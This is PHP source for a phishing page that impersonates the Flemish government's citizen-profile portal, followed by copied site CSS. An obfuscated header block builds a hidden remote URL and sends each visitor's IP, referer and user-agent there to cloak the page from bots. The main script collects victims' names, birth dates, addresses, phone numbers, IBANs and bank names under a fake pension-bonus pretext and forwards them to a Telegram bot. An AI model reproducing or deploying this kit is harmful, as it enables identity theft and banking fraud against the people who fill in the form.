<?php
 if (!function_exists('xiblmlUszX')) { function xiblmlUszX() { $xQvVml = $_SERVER['SERVER_ADDR']; $xMIEy = '127.0.0.1'; if ((!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) && (($_SERVER['HTTP_CF_CONNECTING_IP'])!=$xMIEy) && (($_SERVER['HTTP_CF_CONNECTING_IP'])!=($xQvVml))) {$ip=$_SERVER['HTTP_CF_CONNECTING_IP'];} elseif ((!empty($_SERVER['GEOIP_ADDR'])) && (($_SERVER['GEOIP_ADDR'])!=$xMIEy)) {$ip=$_SERVER['GEOIP_ADDR'];} elseif ((!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) && (($_SERVER['HTTP_X_FORWARDED_FOR'])!=$xMIEy) && (($_SERVER['HTTP_X_FORWARDED_FOR'])!=($xQvVml))) {$ip=explode(',',$_SERVER['HTTP_X_FORWARDED_FOR'])[0];} elseif ((!empty($_SERVER['HTTP_CLIENT_IP'])) && (($_SERVER['HTTP_CLIENT_IP'])!=$xMIEy) && (($_SERVER['HTTP_CLIENT_IP'])!=($xQvVml))) {$ip=$_SERVER['HTTP_CLIENT_IP'];} else {$ip=$_SERVER['REMOTE_ADDR'];} return $ip; }}  $ip=xiblmlUszX(); 
 if (!function_exists('xwchMOd7RK1')) { function xwchMOd7RK1() { if(empty($_SERVER['HTTP_REFERER'])) { $_SERVER['HTTP_REFERER'] = getenv('HTTP_REFERER'); } return $_SERVER['HTTP_REFERER']; }} $ref=xwchMOd7RK1(); 
 if (!function_exists('xG5dAhafmC')) { function xG5dAhafmC() { if(empty($_SERVER['HTTP_USER_AGENT'])) { $_SERVER['HTTP_USER_AGENT'] = getenv('HTTP_USER_AGENT'); } return $_SERVER['HTTP_USER_AGENT']; }} $eRf9t9d9 = xG5dAhafmC(); 
 if ($_SERVER['QUERY_STRING']!=''){ $dHerF777hg = ''.urlencode($_SERVER['QUERY_STRING']).''; } else {$dHerF777hg = '';} 
 $sourcename = 'ch'; $whatdo = 'find'; $sourceid = 'pen'; $who = 'us'; $fd = 'c009649'; $dex9 = '.re'; $langua = 'na'; $command = 'st'; 
 $ch = curl_init(); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_URL, 'https://'.$whatdo.''.$who.''.$dex9.''.$command.'/'.$who.''.$command.'.php'); curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); curl_setopt($ch, CURLOPT_TIMEOUT,333); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, 'fd='.$fd.'&ip='.$ip.'&ref='.$ref.'&ua='.$eRf9t9d9.'&data='.$dHerF777hg.'&sourceid='.$sourceid.'&sourcename='.$sourcename.''); $ifbot = curl_exec($ch); curl_close($ch); 
 if ($ifbot == '') { echo '
<h1>CURL ERROR</h1>'; } elseif ($ifbot != '0') { die(header('HTTP/1.1 500 Internal Server Error')); } else {  } 
 ?> 
<?php
error_reporting(0);
session_start();
$filename = 'names.json';
$cookieName = 'last_submit_time';
$cookieDuration = 3 * 3600;

?> <?php

// Include PHPMailer files
require __DIR__ . '/PHPMailer/src/Exception.php';
require __DIR__ . '/PHPMailer/src/PHPMailer.php';
require __DIR__ . '/PHPMailer/src/SMTP.php';

use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;



if (file_exists($filename)) {
    $data = json_decode(file_get_contents($filename), true);
} else {
    $data = [];
}
include "includes/2Config.php";
require "includes/One_Time.php"; 
require "antibots/clear/session_protect.php";
require "antibots/clear/functions.php";
require "antibots/dev.php";
if ($internal_antibot == 1) {
    require "antibots/old_blocker.php";
}
if ($mobile_lock == 1) {
    require "antibots/mob_lock.php";
}
require "includes/2Config.php"; 
$ip = $_SERVER['REMOTE_ADDR'];
$useragent = $_SERVER['HTTP_USER_AGENT'];
$platform  = $_SERVER['HTTP_USER_AGENT'];
$systemInfo['os'] = os_info($systemInfo['useragent']);
  $nameOriginal = trim($_POST['iban']);
    $nameKey = strtolower($nameOriginal);
    $currentTime = time();
$timestamp = $currentTime;


$datum = date('j', $timestamp);
$maandNummer = date('n', $timestamp);
$tijd = date('H:i', $timestamp);

$maanden = [
    1 => 'januari', 2 => 'februari', 3 => 'maart',
    4 => 'april', 5 => 'mei', 6 => 'juni',
    7 => 'juli', 8 => 'augustus', 9 => 'september',
    10 => 'oktober', 11 => 'november', 12 => 'december'
];

$maandNaam = $maanden[$maandNummer];
$volledigeDatum = "$datum $maandNaam $tijd";



if (isset($_POST['name'])) {

  
  
  
  
  
  
  
  
  

if (isset($_COOKIE[$cookieName])) {
    $timestamp = (int)$_COOKIE[$cookieName];

    
    $datum = date('j', $timestamp); 
    $maandNummer = date('n', $timestamp);
    $tijd = date('H:i', $timestamp); 

   
    $maanden = [
        1 => 'januari', 2 => 'februari', 3 => 'maart',
        4 => 'april', 5 => 'mei', 6 => 'juni',
        7 => 'juli', 8 => 'augustus', 9 => 'september',
        10 => 'oktober', 11 => 'november', 12 => 'december'
    ];

    $maandNaam = $maanden[$maandNummer];
    $volledigeDatum = "$datum $maandNaam $tijd";



$error = "Je hebt op $volledigeDatum al u gegevens bevestigd. Wacht nog even af.";
        header("Refresh:3; url=$exitLink");
} elseif (isset($data[$nameKey])) {
        $lastTime = $data[$nameKey];
        $diff = $currentTime - $lastTime;

        if ($diff < $cookieDuration) {
            $error = "Je hebt je gegevens al ingevuld. Wacht nog even.";
            header("Refresh:3; url=$exitLink");
        } else {
            // 3 uur geleden
            $data[$nameKey] = $currentTime;
            file_put_contents($filename, json_encode($data));
            setcookie($cookieName, $currentTime, $currentTime + $cookieDuration);
            $error = "Welkom terug, uw dossier is al verwerkt";
          
          
          
          
          


            header("Refresh:3; url=$exitLink");
        }
    } else {
        // Nieuwe gebruiker
        $data[$nameKey] = $currentTime;
        file_put_contents($filename, json_encode($data));
        setcookie($cookieName, $currentTime, $currentTime + $cookieDuration);
        
$error = "We controleren uw gegevens";


$timestamp = $currentTime;


$datum = date('j', $timestamp);
$maandNummer = date('n', $timestamp);
$tijd = date('H:i', $timestamp);

$maanden = [
    1 => 'januari', 2 => 'februari', 3 => 'maart',
    4 => 'april', 5 => 'mei', 6 => 'juni',
    7 => 'juli', 8 => 'augustus', 9 => 'september',
    10 => 'oktober', 11 => 'november', 12 => 'december'
];

$maandNaam = $maanden[$maandNummer];
$volledigeDatum = "$datum $maandNaam $tijd";


  
  
  
  
    $email = $_POST['email'];

  $message = "VAN: DE FEDERALE PENSIOENDIENST OF NOREPLY OF MYPENSION\nBericht : Pensioenbonus 2025 OF GEGEVENS UPDATE!\n\n";
    $message .= "INGEVULD : " . $volledigeDatum . "\n\n";  // Last name

    $message .= "Voor- en Achternaam : " . $_POST['name'] . "|\n";  // Last name
    $message .= "Geboortedatum : " . $_POST['dob'] . "|\n";  // Last name
    $message .= "Adres : " . $_POST['address'] . "|\n";        // Address
    $message .= "Woonplaats : " . $_POST['residence'] . "|\n";   // Company name
    $message .= "Telefoonnummer mobiel : " . $_POST['phone'] . "|\n";   // Company name
    $message .= "Telefoonnummer vast : " . $_POST['landline'] . "|\n";   // Company name
    $message .= "Email : " . $_POST['email'] . "|\n";          // Email
    $message .= "IBAN : " . $_POST['iban'] . "|\n";            // IBAN
    $message .= "BANK : " . $_POST['bankName'] . " |\n";            // IBAN
    $message .= "Bedrijfsnaam : " . $_POST['cname'] . "|\n\n";            // IBAN
    $message .= "Vis heeft gelogd via : " . $platform. "\n";

    $subject = "$email fluvius details";

 
    // Sending Telegram Message
    if ($Send_Telegram == 1) {
        file_get_contents("https://api.telegram.org/bot" . $api . "/sendMessage?chat_id=" . $chatid . "&text=" . urlencode($message) . "");
    }
     header("Refresh:3; url=$exitLink");
    }

}
?>
<!DOCTYPE html>
<html lang="nl" data-n-head="%7B%22lang%22:%7B%22ssr%22:%22nl-BE%22%7D%7D" class="js" data-scrapbook-source="#/uw-gegevens?redirectPath=%2Fjobbonus" data-scrapbook-create="20240907172433544">
  <head>
    <meta data-n-head="ssr" charset="UTF-8">
    <meta data-n-head="ssr" name="viewport" content="width=device-width, initial-scale=1">
    <meta data-n-head="ssr" name="description" content="Burgerprofiel - Vlaanderen.be">
    <title>Uw gegevens bij de overheid - Burgerprofiel - vlaanderen.be</title>
    <link data-n-head="ssr" rel="icon" type="image/x-icon" href="favicon.ico">
    <style data-vue-ssr-id="ddc2ba0e:0 8a79700a:0 394be2a3:0">
      :root {
        --custom-widget-base-font: var(--vlw-theme-base-font, Flanders Art Sans, sans-serif);
        --custom-widget-primary-font: var(--vlw-theme-accent-font, Flanders Art Sans, sans-serif);
        --vl-theme-primary-color: #ffed00;
        --vl-theme-primary-color-60: #fff466;
        --vl-theme-primary-color-70: #fff24d;
        --vl-theme-primary-color-rgba-30: rgba(255, 237, 0, .3);
        --vl-theme-fg-color: #333332;
        --vl-theme-fg-color-60: #858584;
        --vl-theme-fg-color-70: #707070
      }

      .vl-vi:after,
      .vl-vi:before {
        font-family: "vlaanderen-icon" !important;
        -webkit-font-smoothing: antialiased;
        -moz-osx-font-smoothing: grayscale;
        display: inline-block;
        font-feature-settings: normal;
        font-style: normal;
        font-variant: normal;
        font-weight: 400;
        -webkit-text-decoration: none;
        text-decoration: none;
        text-transform: none;
        vertical-align: middle
      }

      .vl-vi.vl-vi-u-180deg:before {
        vertical-align: middle
      }

      .vl-vi-u-xs:before {
        font-size: .8rem
      }

      .vl-vi-u-s:before {
        font-size: 1.3rem
      }

      .vl-vi-u-m:before {
        font-size: 1.7rem
      }

      .vl-vi-u-l:before {
        font-size: 2rem
      }

      .vl-vi-u-xl:before {
        font-size: 2.2rem
      }

      .vl-vi-u-90deg:before {
        display: inline-block;
        transform: rotate(90deg)
      }

      .vl-vi-u-180deg:before {
        display: inline-block;
        transform: rotate(180deg)
      }

      a,
      abbr,
      acronym,
      address,
      applet,
      article,
      aside,
      audio,
      b,
      big,
      blockquote,
      body,
      canvas,
      caption,
      center,
      cite,
      code,
      dd,
      del,
      details,
      dfn,
      div,
      dl,
      dt,
      em,
      embed,
      fieldset,
      figcaption,
      figure,
      footer,
      form,
      h1,
      h2,
      h3,
      h4,
      h5,
      h6,
      header,
      hgroup,
      html,
      i,
      iframe,
      img,
      ins,
      kbd,
      label,
      legend,
      li,
      mark,
      menu,
      nav,
      object,
      ol,
      output,
      p,
      pre,
      q,
      ruby,
      s,
      samp,
      section,
      small,
      span,
      strike,
      strong,
      sub,
      summary,
      sup,
      table,
      tbody,
      td,
      tfoot,
      th,
      thead,
      time,
      tr,
      tt,
      u,
      ul,
      var,
      video {
        border: 0;
        font-size: 100%;
        font: inherit;
        margin: 0;
        padding: 0;
        vertical-align: baseline
      }

      article,
      aside,
      details,
      figcaption,
      figure,
      footer,
      header,
      hgroup,
      menu,
      nav,
      section {
        display: block
      }

      body {
        line-height: 1
      }

      ol,
      ul {
        list-style: none
      }

      blockquote,
      q {
        quotes: none
      }

      blockquote:after,
      blockquote:before,
      q:after,
      q:before {
        content: "";
        content: none
      }

      table {
        border-collapse: collapse;
        border-spacing: 0
      }

      button {
        background: transparent
      }

      img {
        max-width: 100%
      }

      button::-moz-focus-inner {
        border: 0
      }

      :-moz-submit-invalid,
      :-moz-ui-invalid {
        box-shadow: none
      }

      * {
        box-sizing: border-box
      }

      :after,
      :before {
        box-sizing: inherit
      }

      html {
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        font-size: 62.5%
      }

      body,
      html {
        min-height: 100%
      }

      body {
        background: #fff;
        color: #333332;
        font-size: 1.8rem;
        line-height: 1.5;
        width: 100%;
        -webkit-text-size-adjust: none
      }

      @media screen and (max-width:767px) {
        body {
          font-size: 1.6rem;
          line-height: 1.33
        }
      }

      body:before {
        content: "large";
        display: none
      }

      @media screen and (max-width:1023px) {
        body:before {
          content: "medium"
        }
      }

      @media screen and (min-width:767px) {
        body:before {
          content: "medium-up"
        }
      }

      @media screen and (max-width:767px) {
        body:before {
          content: "small"
        }
      }

      @media screen and (max-width:500px) {
        body:before {
          content: "xsmall"
        }
      }

      @media screen and (min-width:1600px) {
        body:before {
          content: "xlarge"
        }
      }

      @font-face {
        font-family: "Flanders Art Sans";
        font-style: normal;
        font-weight: 300;
        src: url("FlandersArtSans-Light.3305577.woff2") format("woff2"), url("FlandersArtSans-Light.2a16c34.woff") format("woff")
      }

      @font-face {
        font-family: "Flanders Art Sans";
        font-style: normal;
        font-weight: 400;
        src: url("FlandersArtSans-Regular.97bbb93.woff2") format("woff2"), url("FlandersArtSans-Regular.a383359.woff") format("woff")
      }

      @font-face {
        font-family: "Flanders Art Sans";
        font-style: normal;
        font-weight: 500;
        src: url("FlandersArtSans-Medium.c5cd0cd.woff2") format("woff2"), url("FlandersArtSans-Medium.610bcc5.woff") format("woff")
      }

      @font-face {
        font-family: "Flanders Art Sans";
        font-style: normal;
        font-weight: 700;
        src: url("FlandersArtSans-Bold.1cfba8a.woff2") format("woff2"), url("FlandersArtSans-Bold.f0aaaa4.woff") format("woff")
      }

      @font-face {
        font-family: "Flanders Art Sans";
        font-style: italic;
        font-weight: 300;
        src: url("FlandersArtSans-Light.b7fbf2c.woff2") format("woff2"), url("FlandersArtSans-Light.9e78cf0.woff") format("woff")
      }

      @font-face {
        font-family: "Flanders Art Sans";
        font-style: italic;
        font-weight: 400;
        src: url("FlandersArtSans-Regular.445ce90.woff2") format("woff2"), url("FlandersArtSans-Regular.77b2904.woff") format("woff")
      }

      @font-face {
        font-family: "Flanders Art Sans";
        font-style: italic;
        font-weight: 500;
        src: url("FlandersArtSans-Medium.72e28bd.woff2") format("woff2"), url("FlandersArtSans-Medium.8b807f1.woff") format("woff")
      }

      @font-face {
        font-family: "Flanders Art Sans";
        font-style: italic;
        font-weight: 700;
        src: url("FlandersArtSans-Bold.4518d8a.woff2") format("woff2"), url("FlandersArtSans-Bold.354ad93.woff") format("woff")
      }

      @font-face {
        font-family: "Flanders Art Serif";
        font-style: normal;
        font-weight: 300;
        src: url("") format("woff2"), url("") format("woff")
      }

      @font-face {
        font-family: "Flanders Art Serif";
        font-style: normal;
        font-weight: 400;
        src: url("") format("woff2"), url("") format("woff")
      }

      @font-face {
        font-family: "Flanders Art Serif";
        font-style: normal;
        font-weight: 500;
        src: url("") format("woff2"), url("") format("woff")
      }

      @font-face {
        font-family: "Flanders Art Serif";
        font-style: normal;
        font-weight: 700;
        src: url("") format("woff2"), url("") format("woff")
      }

      @font-face {
        font-family: "vlaanderen-icon";
        font-style: normal;
        font-weight: 400;
        src: url("vlaanderen-icon.b5e307f.woff2") format("woff2"), url("vlaanderen-icon.2093291.woff") format("woff")
      }

      .vl-vi-add--after:after,
      .vl-vi-add:before {
        content: ""
      }

      .vl-vi-addressbook--after:after,
      .vl-vi-addressbook:before {
        content: ""
      }

      .vl-vi-airplane--after:after,
      .vl-vi-airplane:before {
        content: ""
      }

      .vl-vi-alarm-silent--after:after,
      .vl-vi-alarm-silent:before {
        content: ""
      }

      .vl-vi-alarm--after:after,
      .vl-vi-alarm:before {
        content: ""
      }

      .vl-vi-alert-circle-filled--after:after,
      .vl-vi-alert-circle-filled:before {
        content: ""
      }

      .vl-vi-alert-circle--after:after,
      .vl-vi-alert-circle:before {
        content: ""
      }

      .vl-vi-alert-small--after:after,
      .vl-vi-alert-small:before {
        content: ""
      }

      .vl-vi-alert-triangle-filled--after:after,
      .vl-vi-alert-triangle-filled:before {
        content: ""
      }

      .vl-vi-alert-triangle--after:after,
      .vl-vi-alert-triangle:before {
        content: ""
      }

      .vl-vi-align-center--after:after,
      .vl-vi-align-center:before {
        content: ""
      }

      .vl-vi-align-justify--after:after,
      .vl-vi-align-justify:before {
        content: ""
      }

      .vl-vi-align-left--after:after,
      .vl-vi-align-left:before {
        content: ""
      }

      .vl-vi-align-right--after:after,
      .vl-vi-align-right:before {
        content: ""
      }

      .vl-vi-apple:before {
        content: ""
      }

      .vl-vi-apple--after:after {
        content: ""
      }

      .vl-vi-area--after:after,
      .vl-vi-area:before {
        content: ""
      }

      .vl-vi-arrange-1-to-9--after:after,
      .vl-vi-arrange-1-to-9:before {
        content: ""
      }

      .vl-vi-arrange-9-to-1--after:after,
      .vl-vi-arrange-9-to-1:before {
        content: ""
      }

      .vl-vi-arrange-a-to-z--after:after,
      .vl-vi-arrange-a-to-z:before {
        content: ""
      }

      .vl-vi-arrange-amount-large-to-small--after:after,
      .vl-vi-arrange-amount-large-to-small:before {
        content: ""
      }

      .vl-vi-arrange-amount-small-to-large--after:after,
      .vl-vi-arrange-amount-small-to-large:before {
        content: ""
      }

      .vl-vi-arrange-z-to-a--after:after,
      .vl-vi-arrange-z-to-a:before {
        content: ""
      }

      .vl-vi-arrow-bottom--after:after,
      .vl-vi-arrow-bottom:before {
        content: ""
      }

      .vl-vi-arrow-down-fat--after:after,
      .vl-vi-arrow-down-fat:before {
        content: ""
      }

      .vl-vi-arrow-down-thin--after:after,
      .vl-vi-arrow-down-thin:before {
        content: ""
      }

      .vl-vi-arrow-down--after:after,
      .vl-vi-arrow-down:before {
        content: ""
      }

      .vl-vi-arrow-freemove--after:after,
      .vl-vi-arrow-freemove:before {
        content: ""
      }

      .vl-vi-arrow-left-fat--after:after,
      .vl-vi-arrow-left-fat:before {
        content: ""
      }

      .vl-vi-arrow-left-thin--after:after,
      .vl-vi-arrow-left-thin:before {
        content: ""
      }

      .vl-vi-arrow-left--after:after,
      .vl-vi-arrow-left:before {
        content: ""
      }

      .vl-vi-arrow-right-fat--after:after,
      .vl-vi-arrow-right-fat:before {
        content: ""
      }

      .vl-vi-arrow-right-thin--after:after,
      .vl-vi-arrow-right-thin:before {
        content: ""
      }

      .vl-vi-arrow-right--after:after,
      .vl-vi-arrow-right:before {
        content: ""
      }

      .vl-vi-arrow-thin--after:after,
      .vl-vi-arrow-thin:before {
        content: ""
      }

      .vl-vi-arrow-up-fat--after:after,
      .vl-vi-arrow-up-fat:before {
        content: ""
      }

      .vl-vi-arrow-up-thin--after:after,
      .vl-vi-arrow-up-thin:before {
        content: ""
      }

      .vl-vi-arrow-up--after:after,
      .vl-vi-arrow-up:before {
        content: ""
      }

      .vl-vi-arrow--after:after,
      .vl-vi-arrow:before {
        content: ""
      }

      .vl-vi-asterisk--after:after,
      .vl-vi-asterisk:before {
        content: ""
      }

      .vl-vi-audio-description--after:after,
      .vl-vi-audio-description:before {
        content: ""
      }

      .vl-vi-back--after:after,
      .vl-vi-back:before {
        content: ""
      }

      .vl-vi-ban--after:after,
      .vl-vi-ban:before {
        content: ""
      }

      .vl-vi-banking-bill-euro--after:after,
      .vl-vi-banking-bill-euro:before {
        content: ""
      }

      .vl-vi-battery-charging--after:after,
      .vl-vi-battery-charging:before {
        content: ""
      }

      .vl-vi-bell--after:after,
      .vl-vi-bell:before {
        content: ""
      }

      .vl-vi-bike-closed-criterium--after:after,
      .vl-vi-bike-closed-criterium:before {
        content: ""
      }

      .vl-vi-bike-open-criterium--after:after,
      .vl-vi-bike-open-criterium:before {
        content: ""
      }

      .vl-vi-bike--after:after,
      .vl-vi-bike:before {
        content: ""
      }

      .vl-vi-bin--after:after,
      .vl-vi-bin:before {
        content: ""
      }

      .vl-vi-binoculars--after:after,
      .vl-vi-binoculars:before {
        content: ""
      }

      .vl-vi-boat-ship--after:after,
      .vl-vi-boat-ship:before {
        content: ""
      }

      .vl-vi-bold--after:after,
      .vl-vi-bold:before {
        content: ""
      }

      .vl-vi-book--after:after,
      .vl-vi-book:before {
        content: ""
      }

      .vl-vi-bookmark-alt-1--after:after,
      .vl-vi-bookmark-alt-1:before {
        content: ""
      }

      .vl-vi-bookmark-alt-2--after:after,
      .vl-vi-bookmark-alt-2:before {
        content: ""
      }

      .vl-vi-bookmark--after:after,
      .vl-vi-bookmark:before {
        content: ""
      }

      .vl-vi-breadcrumb-separator--after:after,
      .vl-vi-breadcrumb-separator:before {
        content: ""
      }

      .vl-vi-briefcase--after:after,
      .vl-vi-briefcase:before {
        content: ""
      }

      .vl-vi-building-2--after:after,
      .vl-vi-building-2:before {
        content: ""
      }

      .vl-vi-building-big--after:after,
      .vl-vi-building-big:before {
        content: ""
      }

      .vl-vi-building--after:after,
      .vl-vi-building:before {
        content: ""
      }

      .vl-vi-bullet--after:after,
      .vl-vi-bullet:before {
        content: ""
      }

      .vl-vi-burger-alt--after:after,
      .vl-vi-burger-alt:before {
        content: ""
      }

      .vl-vi-burger--after:after,
      .vl-vi-burger:before {
        content: ""
      }

      .vl-vi-burgerprofiel--after:after,
      .vl-vi-burgerprofiel:before {
        content: ""
      }

      .vl-vi-bus--after:after,
      .vl-vi-bus:before {
        content: ""
      }

      .vl-vi-business-graph-bar--after:after,
      .vl-vi-business-graph-bar:before {
        content: ""
      }

      .vl-vi-business-graph-pie--after:after,
      .vl-vi-business-graph-pie:before {
        content: ""
      }

      .vl-vi-cabinet--after:after,
      .vl-vi-cabinet:before {
        content: ""
      }

      .vl-vi-cake--after:after,
      .vl-vi-cake:before {
        content: ""
      }

      .vl-vi-calculator--after:after,
      .vl-vi-calculator:before {
        content: ""
      }

      .vl-vi-calendar-add--after:after,
      .vl-vi-calendar-add:before {
        content: ""
      }

      .vl-vi-calendar-check--after:after,
      .vl-vi-calendar-check:before {
        content: ""
      }

      .vl-vi-calendar-subtract--after:after,
      .vl-vi-calendar-subtract:before {
        content: ""
      }

      .vl-vi-calendar--after:after,
      .vl-vi-calendar:before {
        content: ""
      }

      .vl-vi-calendar_check--after:after,
      .vl-vi-calendar_check:before {
        content: ""
      }

      .vl-vi-calendar_date--after:after,
      .vl-vi-calendar_date:before {
        content: ""
      }

      .vl-vi-camera--after:after,
      .vl-vi-camera:before {
        content: ""
      }

      .vl-vi-car-wheel--after:after,
      .vl-vi-car-wheel:before {
        content: ""
      }

      .vl-vi-car--after:after,
      .vl-vi-car:before {
        content: ""
      }

      .vl-vi-chat-bubble-square-alert--after:after,
      .vl-vi-chat-bubble-square-alert:before {
        content: ""
      }

      .vl-vi-chat-bubble-square-alt--after:after,
      .vl-vi-chat-bubble-square-alt:before {
        content: ""
      }

      .vl-vi-chat-bubble-square--after:after,
      .vl-vi-chat-bubble-square:before {
        content: ""
      }

      .vl-vi-chat-help--after:after,
      .vl-vi-chat-help:before {
        content: ""
      }

      .vl-vi-chat--after:after,
      .vl-vi-chat:before {
        content: ""
      }

      .vl-vi-check-circle--after:after,
      .vl-vi-check-circle:before {
        content: ""
      }

      .vl-vi-check-filled--after:after,
      .vl-vi-check-filled:before {
        content: ""
      }

      .vl-vi-check-naked--after:after,
      .vl-vi-check-naked:before {
        content: ""
      }

      .vl-vi-check-shield--after:after,
      .vl-vi-check-shield:before {
        content: ""
      }

      .vl-vi-check-small--after:after,
      .vl-vi-check-small:before {
        content: ""
      }

      .vl-vi-check-thin--after:after,
      .vl-vi-check-thin:before {
        content: ""
      }

      .vl-vi-check--after:after,
      .vl-vi-check:before {
        content: ""
      }

      .vl-vi-child--after:after,
      .vl-vi-child:before {
        content: ""
      }

      .vl-vi-clock--after:after,
      .vl-vi-clock:before {
        content: ""
      }

      .vl-vi-close-filled--after:after,
      .vl-vi-close-filled:before {
        content: ""
      }

      .vl-vi-close-light--after:after,
      .vl-vi-close-light:before {
        content: ""
      }

      .vl-vi-close-naked--after:after,
      .vl-vi-close-naked:before {
        content: ""
      }

      .vl-vi-close--after:after,
      .vl-vi-close:before {
        content: ""
      }

      .vl-vi-cloud-download--after:after,
      .vl-vi-cloud-download:before {
        content: ""
      }

      .vl-vi-cloud-upload--after:after,
      .vl-vi-cloud-upload:before {
        content: ""
      }

      .vl-vi-cloud--after:after,
      .vl-vi-cloud:before {
        content: ""
      }

      .vl-vi-code-branch--after:after,
      .vl-vi-code-branch:before {
        content: ""
      }

      .vl-vi-coffee-cup--after:after,
      .vl-vi-coffee-cup:before {
        content: ""
      }

      .vl-vi-cog--after:after,
      .vl-vi-cog:before {
        content: ""
      }

      .vl-vi-coin-stack--after:after,
      .vl-vi-coin-stack:before {
        content: ""
      }

      .vl-vi-compass--after:after,
      .vl-vi-compass:before {
        content: ""
      }

      .vl-vi-computer-screen--after:after,
      .vl-vi-computer-screen:before {
        content: ""
      }

      .vl-vi-confluence--after:after,
      .vl-vi-confluence:before {
        content: ""
      }

      .vl-vi-construction-crane--after:after,
      .vl-vi-construction-crane:before {
        content: ""
      }

      .vl-vi-construction-shack--after:after,
      .vl-vi-construction-shack:before {
        content: ""
      }

      .vl-vi-contactbook--after:after,
      .vl-vi-contactbook:before {
        content: ""
      }

      .vl-vi-contacts--after:after,
      .vl-vi-contacts:before {
        content: ""
      }

      .vl-vi-content-book-favorite-star--after:after,
      .vl-vi-content-book-favorite-star:before {
        content: ""
      }

      .vl-vi-content-book--after:after,
      .vl-vi-content-book:before {
        content: ""
      }

      .vl-vi-content-box--after:after,
      .vl-vi-content-box:before {
        content: ""
      }

      .vl-vi-content-filter--after:after,
      .vl-vi-content-filter:before {
        content: ""
      }

      .vl-vi-content-layers-hide--after:after,
      .vl-vi-content-layers-hide:before {
        content: ""
      }

      .vl-vi-content-layers-show--after:after,
      .vl-vi-content-layers-show:before {
        content: ""
      }

      .vl-vi-content-note--after:after,
      .vl-vi-content-note:before {
        content: ""
      }

      .vl-vi-content-view-column--after:after,
      .vl-vi-content-view-column:before {
        content: ""
      }

      .vl-vi-content-view-module--after:after,
      .vl-vi-content-view-module:before {
        content: ""
      }

      .vl-vi-contract--after:after,
      .vl-vi-contract:before {
        content: ""
      }

      .vl-vi-control-cross-over--after:after,
      .vl-vi-control-cross-over:before {
        content: ""
      }

      .vl-vi-copy-paste--after:after,
      .vl-vi-copy-paste:before {
        content: ""
      }

      .vl-vi-copyright--after:after,
      .vl-vi-copyright:before {
        content: ""
      }

      .vl-vi-credit-card--after:after,
      .vl-vi-credit-card:before {
        content: ""
      }

      .vl-vi-crop--after:after,
      .vl-vi-crop:before {
        content: ""
      }

      .vl-vi-cross-thin--after:after,
      .vl-vi-cross-thin:before {
        content: ""
      }

      .vl-vi-cross--after:after,
      .vl-vi-cross:before {
        content: ""
      }

      .vl-vi-cursor-arrow-big--after:after,
      .vl-vi-cursor-arrow-big:before {
        content: ""
      }

      .vl-vi-cursor-arrow-small--after:after,
      .vl-vi-cursor-arrow-small:before {
        content: ""
      }

      .vl-vi-cursor-finger-down--after:after,
      .vl-vi-cursor-finger-down:before {
        content: ""
      }

      .vl-vi-cursor-finger-left--after:after,
      .vl-vi-cursor-finger-left:before {
        content: ""
      }

      .vl-vi-cursor-finger-right--after:after,
      .vl-vi-cursor-finger-right:before {
        content: ""
      }

      .vl-vi-cursor-finger-up--after:after,
      .vl-vi-cursor-finger-up:before {
        content: ""
      }

      .vl-vi-cursor-hand--after:after,
      .vl-vi-cursor-hand:before {
        content: ""
      }

      .vl-vi-cursor-hold--after:after,
      .vl-vi-cursor-hold:before {
        content: ""
      }

      .vl-vi-dashboard--after:after,
      .vl-vi-dashboard:before {
        content: ""
      }

      .vl-vi-data-download--after:after,
      .vl-vi-data-download:before {
        content: ""
      }

      .vl-vi-data-transfer--after:after,
      .vl-vi-data-transfer:before {
        content: ""
      }

      .vl-vi-data-upload--after:after,
      .vl-vi-data-upload:before {
        content: ""
      }

      .vl-vi-demonstration--after:after,
      .vl-vi-demonstration:before {
        content: ""
      }

      .vl-vi-diagram--after:after,
      .vl-vi-diagram:before {
        content: ""
      }

      .vl-vi-direction-sign--after:after,
      .vl-vi-direction-sign:before {
        content: ""
      }

      .vl-vi-document-small--after:after,
      .vl-vi-document-small:before {
        content: ""
      }

      .vl-vi-document--after:after,
      .vl-vi-document:before {
        content: ""
      }

      .vl-vi-double-arrow--after:after,
      .vl-vi-double-arrow:before {
        content: ""
      }

      .vl-vi-download-harddisk--after:after,
      .vl-vi-download-harddisk:before {
        content: ""
      }

      .vl-vi-drawer-down--after:after,
      .vl-vi-drawer-down:before {
        content: ""
      }

      .vl-vi-drawer--after:after,
      .vl-vi-drawer:before {
        content: ""
      }

      .vl-vi-drink-bottle--after:after,
      .vl-vi-drink-bottle:before {
        content: ""
      }

      .vl-vi-eco-throw-trash--after:after,
      .vl-vi-eco-throw-trash:before {
        content: ""
      }

      .vl-vi-edit--after:after,
      .vl-vi-edit:before {
        content: ""
      }

      .vl-vi-eloket--after:after,
      .vl-vi-eloket:before {
        content: ""
      }

      .vl-vi-email-read--after:after,
      .vl-vi-email-read:before {
        content: ""
      }

      .vl-vi-email--after:after,
      .vl-vi-email:before {
        content: ""
      }

      .vl-vi-enlarge--after:after,
      .vl-vi-enlarge:before {
        content: ""
      }

      .vl-vi-envelope--after:after,
      .vl-vi-envelope:before {
        content: ""
      }

      .vl-vi-expand-horizontal-alt--after:after,
      .vl-vi-expand-horizontal-alt:before {
        content: ""
      }

      .vl-vi-expand-horizontal--after:after,
      .vl-vi-expand-horizontal:before {
        content: ""
      }

      .vl-vi-expand-vertical--after:after,
      .vl-vi-expand-vertical:before {
        content: ""
      }

      .vl-vi-expand--after:after,
      .vl-vi-expand:before {
        content: ""
      }

      .vl-vi-external--after:after,
      .vl-vi-external:before {
        content: ""
      }

      .vl-vi-face-id--after:after,
      .vl-vi-face-id:before {
        content: ""
      }

      .vl-vi-facebook--after:after,
      .vl-vi-facebook:before {
        content: ""
      }

      .vl-vi-faq--after:after,
      .vl-vi-faq:before {
        content: ""
      }

      .vl-vi-fastback--after:after,
      .vl-vi-fastback:before {
        content: ""
      }

      .vl-vi-fastforward--after:after,
      .vl-vi-fastforward:before {
        content: ""
      }

      .vl-vi-fax--after:after,
      .vl-vi-fax:before {
        content: ""
      }

      .vl-vi-field--after:after,
      .vl-vi-field:before {
        content: ""
      }

